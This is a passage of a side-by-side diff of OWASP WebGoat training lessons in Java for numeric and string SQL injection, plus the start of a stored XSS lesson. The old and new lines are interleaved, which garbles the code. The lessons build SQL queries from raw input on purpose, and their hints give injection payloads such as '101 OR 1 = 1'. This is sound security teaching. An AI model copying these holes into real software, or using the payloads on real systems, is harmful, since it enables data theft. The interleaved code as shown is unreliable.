* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class SqlNumericInjection extends SequentialLessonAdapter public class SqlNumericInjection extends SequentialLessonAdapter
{ {
private final static String STATION_ID = "station"; private final static String STATION_ID = "station";
private String station; private String station;
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
/** protected Element createContent(WebSession s)
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
return super.createStagedContent(s);
}
ec.addElement(makeStationList(s)); protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
String query; protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
station = s.getParser().getRawParameter(STATION_ID, null); protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
if (station == null) try
{ {
query = "SELECT * FROM weather_data WHERE station = [station]";
}
else
{
query = "SELECT * FROM weather_data WHERE station = " + station;
}
ec.addElement(new PRE(query)); ec.addElement(makeStationList(s));
String query;
station = s.getParser().getRawParameter(STATION_ID, null);
if (station == null)
{
query = "SELECT * FROM weather_data WHERE station = [station]";
}
else
{
query = "SELECT * FROM weather_data WHERE station = " + station;
}
ec.addElement(new PRE(query));
if (station == null) return ec;
Connection connection = DatabaseUtilities.getConnection(s);
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one row they succeeded
if (results.getRow() > 1)
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
s.setMessage("Start this lesson over to attack a parameterized query.");
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query.");
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// {
// getLessonTracker(s).setStage(1);
// return( injectableQuery(s));
// }
ec.addElement(new BR());
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeStationList(s));
String query = "SELECT * FROM weather_data WHERE station = ?";
station = s.getParser().getRawParameter(STATION_ID, null);
ec.addElement(new PRE(query));
if (station == null) return ec;
try
{
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one row they succeeded
if (results.getRow() > 1)
{
makeSuccess(s);
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
} catch (NumberFormatException npe)
{
ec.addElement(new P().addElement("Error parsing station as a number: " + npe.getMessage()));
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element makeStationList(WebSession s) throws SQLException, ClassNotFoundException
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Select your local weather station: "));
Map stations = getStations(s);
Select select = new Select(STATION_ID);
Iterator it = stations.keySet().iterator();
while (it.hasNext())
{
String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations.get(key)));
}
ec.addElement(select);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
if (station == null)
return ec; return ec;
}
/**
* Gets the stations from the db
*
* @return A map containing each station, indexed by station number
*/
protected Map getStations(WebSession s) throws SQLException, ClassNotFoundException
{
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
try Map<String, String> stations = new TreeMap<String, String>();
{ String query = "SELECT DISTINCT station, name FROM WEATHER_DATA";
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) try
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ec.addElement(DatabaseUtilities.writeTable(results, ResultSet.CONCUR_READ_ONLY);
resultsMetaData)); ResultSet results = statement.executeQuery(query);
results.last();
// If they get back more than one row they succeeded if ((results != null) && (results.first() == true))
if (results.getRow() > 1) {
{ results.beforeFirst();
makeSuccess(s);
getLessonTracker(s).setStage(2); while (results.next())
s {
.setMessage("Start this lesson over to attack a parameterized query."); String station = results.getString("station");
} String name = results.getString("name");
}
else // <START_OMIT_SOURCE>
if (!station.equals("10001") && !station.equals("11001"))
{
stations.put(station, name);
}
// <END_OMIT_SOURCE>
}
results.close();
}
} catch (SQLException sqle)
{ {
ec.addElement("No results matched. Try Again."); sqle.printStackTrace();
} }
} return stations;
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); /**
} * Gets the category attribute of the SqNumericInjection object
*
* @return The category value
protected Element parameterizedQuery(WebSession s) */
{ protected Category getDefaultCategory()
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query.");
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// {
// getLessonTracker(s).setStage(1);
// return( injectableQuery(s));
// }
ec.addElement(new BR());
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); return Category.INJECTION;
}
ec.addElement(makeStationList(s)); /**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true.");
hints.add("Try entering [ 101 OR 1 = 1 ].");
String query = "SELECT * FROM weather_data WHERE station = ?"; return hints;
}
station = s.getParser().getRawParameter(STATION_ID, null); private final static Integer DEFAULT_RANKING = new Integer(70);
ec.addElement(new PRE(query)); protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
if (station == null) /**
return ec; * Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Numeric SQL Injection");
}
try /**
{ * Constructor for the DatabaseFieldScreen object
PreparedStatement statement = connection.prepareStatement( *
query, ResultSet.TYPE_SCROLL_INSENSITIVE, * @param s
ResultSet.CONCUR_READ_ONLY); * Description of the Parameter
statement.setInt(1, Integer.parseInt(station)); */
ResultSet results = statement.executeQuery(); public void handleRequest(WebSession s)
{
if ((results != null) && (results.first() == true)) try
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); super.handleRequest(s);
ec.addElement(DatabaseUtilities.writeTable(results, } catch (Exception e)
resultsMetaData));
results.last();
// If they get back more than one row they succeeded
if (results.getRow() > 1)
{
makeSuccess(s);
}
}
else
{ {
ec.addElement("No results matched. Try Again."); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
} }
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
catch (NumberFormatException npe)
{
ec.addElement(new P()
.addElement("Error parsing station as a number: "
+ npe.getMessage()));
}
} }
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element makeStationList(WebSession s) throws SQLException,
ClassNotFoundException
{
ElementContainer ec = new ElementContainer();
ec
.addElement(new P()
.addElement("Select your local weather station: "));
Map stations = getStations(s);
Select select = new Select(STATION_ID);
Iterator it = stations.keySet().iterator();
while (it.hasNext())
{
String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations
.get(key)));
}
ec.addElement(select);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
/**
* Gets the stations from the db
*
* @return A map containing each station, indexed by station number
*/
protected Map getStations(WebSession s) throws SQLException,
ClassNotFoundException
{
Connection connection = DatabaseUtilities.getConnection(s);
Map<String, String> stations = new TreeMap<String, String>();
String query = "SELECT DISTINCT station, name FROM WEATHER_DATA";
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
while (results.next())
{
String station = results.getString("station");
String name = results.getString("name");
//<START_OMIT_SOURCE>
if (!station.equals("10001") && !station.equals("11001"))
{
stations.put(station, name);
}
//<END_OMIT_SOURCE>
}
results.close();
}
}
catch (SQLException sqle)
{
sqle.printStackTrace();
}
return stations;
}
/**
* Gets the category attribute of the SqNumericInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true.");
hints.add("Try entering [ 101 OR 1 = 1 ].");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Numeric SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -8,7 +9,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,290 +19,263 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class SqlStringInjection extends SequentialLessonAdapter public class SqlStringInjection extends SequentialLessonAdapter
{ {
private final static String ACCT_NAME = "account_name"; private final static String ACCT_NAME = "account_name";
private static String STAGE = "stage"; private static String STAGE = "stage";
private String accountName; private String accountName;
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); return super.createStagedContent(s);
}
ec.addElement(makeAccountLine(s)); protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
String query = "SELECT * FROM user_data WHERE last_name = '" protected Element doStage2(WebSession s) throws Exception
+ accountName + "'"; {
ec.addElement(new PRE(query)); return parameterizedQuery(s);
}
try protected Element injectableQuery(WebSession s)
{ {
Statement statement = connection.createStatement( ElementContainer ec = new ElementContainer();
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) try
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
// If they get back more than one user they succeeded ec.addElement(makeAccountLine(s));
if (results.getRow() >= 6)
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer(); String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
ec.addElement(new PRE(query));
msg.append("Bet you can't do it again! "); try
msg {
.append("This lesson has detected your successfull attack "); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
msg.append("and has now switched to a defensive mode. "); ResultSet.CONCUR_READ_ONLY);
msg ResultSet results = statement.executeQuery(query);
.append("Try again to attack a parameterized query.");
s.setMessage(msg.toString()); if ((results != null) && (results.first() == true))
} {
} ResultSetMetaData resultsMetaData = results.getMetaData();
else ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer();
msg.append("Bet you can't do it again! ");
msg.append("This lesson has detected your successfull attack ");
msg.append("and has now switched to a defensive mode. ");
msg.append("Try again to attack a parameterized query.");
s.setMessage(msg.toString());
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
} catch (Exception e)
{ {
ec.addElement("No results matched. Try Again."); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
}
catch (SQLException sqle) return (ec);
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); protected Element parameterizedQuery(WebSession s)
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query. Restart the lesson if you wish "
+ " to return to the injectable query");
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals(
"restart"))
{ {
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); ElementContainer ec = new ElementContainer();
return (injectableQuery(s));
}
ec.addElement(new BR()); ec.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query. Restart the lesson if you wish "
try + " to return to the injectable query");
{ if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = ?";
ec.addElement(new PRE(query));
try
{
PreparedStatement statement = connection.prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
ec.addElement(DatabaseUtilities.writeTable(results, return (injectableQuery(s));
resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
makeSuccess(s);
}
} }
else
ec.addElement(new BR());
try
{ {
ec.addElement("No results matched. Try Again."); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = ?";
ec.addElement(new PRE(query));
try
{
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
makeSuccess(s);
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
}
catch (SQLException sqle) return (ec);
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
} }
catch (Exception e)
protected Element makeAccountLine(WebSession s)
{ {
s.setMessage("Error generating " + this.getClass().getName()); ElementContainer ec = new ElementContainer();
e.printStackTrace(); ec.addElement(new P().addElement("Enter your last name: "));
accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
} }
return (ec); /**
} * Gets the category attribute of the SqNumericInjection object
*
* @return The category value
protected Element makeAccountLine(WebSession s) */
{ protected Category getDefaultCategory()
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your last name: "));
accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
/**
* Gets the category attribute of the SqNumericInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE last_name = \" + accountName ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
+ "Try appending a SQL statement that always resolves to true");
hints.add("Try entering [ smith' OR '1' = '1 ].");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("String SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{ {
super.handleRequest(s); return Category.INJECTION;
} }
catch (Exception e)
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{ {
System.out.println("Exception caught: " + e); List<String> hints = new ArrayList<String>();
e.printStackTrace(System.out); hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE last_name = \" + accountName ");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
+ "Try appending a SQL statement that always resolves to true");
hints.add("Try entering [ smith' OR '1' = '1 ].");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("String SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
} }
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -23,358 +24,342 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class StoredXss extends LessonAdapter public class StoredXss extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3; private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num"; private final static String NUMBER = "Num";
private final static int NUM_COL = 1; private final static int NUM_COL = 1;
private final static String STANDARD_QUERY = "SELECT * FROM messages"; private final static String STANDARD_QUERY = "SELECT * FROM messages";
private final static String TITLE = "title"; private final static String TITLE = "title";
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
/**
/** * Adds a feature to the Message attribute of the MessageBoardScreen object
* Adds a feature to the Message attribute of the MessageBoardScreen object *
* * @param s
* @param s The feature to be added to the Message attribute * The feature to be added to the Message attribute
*/ */
protected void addMessage(WebSession s) protected void addMessage(WebSession s)
{
try
{ {
String title = HtmlEncoder.encode(s.getParser().getRawParameter( try
TITLE, "")); {
String message = s.getParser().getRawParameter(MESSAGE, ""); String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY); statement.setInt(1, count++);
statement.setInt(1, count++); statement.setString(2, title);
statement.setString(2, title); statement.setString(3, message);
statement.setString(3, message); statement.setString(4, s.getUserName());
statement.setString(4, s.getUserName()); statement.execute();
statement.execute(); } catch (Exception e)
{
// ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something
// like "Characters found after end of SQL statement."
if (e.getMessage().indexOf("No ResultSet was produced") == -1)
{
s.setMessage("Could not add message to database");
}
e.printStackTrace();
}
} }
catch (Exception e)
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{ {
// ignore the empty resultset on the insert. There are a few more SQL Injection errors addMessage(s);
// that could be trapped here but we will let them try. One error would be something
// like "Characters found after end of SQL statement." ElementContainer ec = new ElementContainer();
if (e.getMessage().indexOf("No ResultSet was produced") == -1) ec.addElement(makeInput(s));
{ ec.addElement(new HR());
s.setMessage("Could not add message to database"); ec.addElement(makeCurrent(s));
} ec.addElement(new HR());
e.printStackTrace(); ec.addElement(makeList(s));
return (ec);
} }
}
/**
/** * Gets the category attribute of the StoredXss object
* Description of the Method *
* * @return The category value
* @param s Description of the Parameter */
* @return Description of the Return Value protected Category getDefaultCategory()
*/
protected Element createContent(WebSession s)
{
addMessage(s);
ElementContainer ec = new ElementContainer();
ec.addElement(makeInput(s));
ec.addElement(new HR());
ec.addElement(makeCurrent(s));
ec.addElement(new HR());
ec.addElement(makeList(s));
return (ec);
}
/**
* Gets the category attribute of the StoredXss object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the MessageBoardScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message.");
hints
